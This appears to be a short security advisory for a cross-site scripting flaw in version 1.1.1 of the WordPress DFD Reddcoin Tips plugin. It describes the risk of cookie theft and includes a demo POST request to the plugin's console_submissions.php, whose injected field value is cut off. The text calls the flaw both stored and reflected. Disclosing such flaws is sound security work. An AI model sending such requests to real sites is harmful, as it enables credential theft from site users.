WordPress DFD Reddcoin Tips 1.1.1 Cross Site Scripting

WordPress DFD Reddcoin Tips plugin version 1.1.1 suffers from a cross site scripting vulnerability.

MD5 | 1b70914b34048eb9b0dc996a52585241

Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable DFD Reddcoin Tips Plugin 1.1.1

DFD Reddcoin Tips Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:

Demo Request POST:

POST /wordpress/wp-content/plugins/dfd-reddcoin-tips/includes/
pages/console/console_submissions.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

get_username_data=demo&send_external_amount=demo' />

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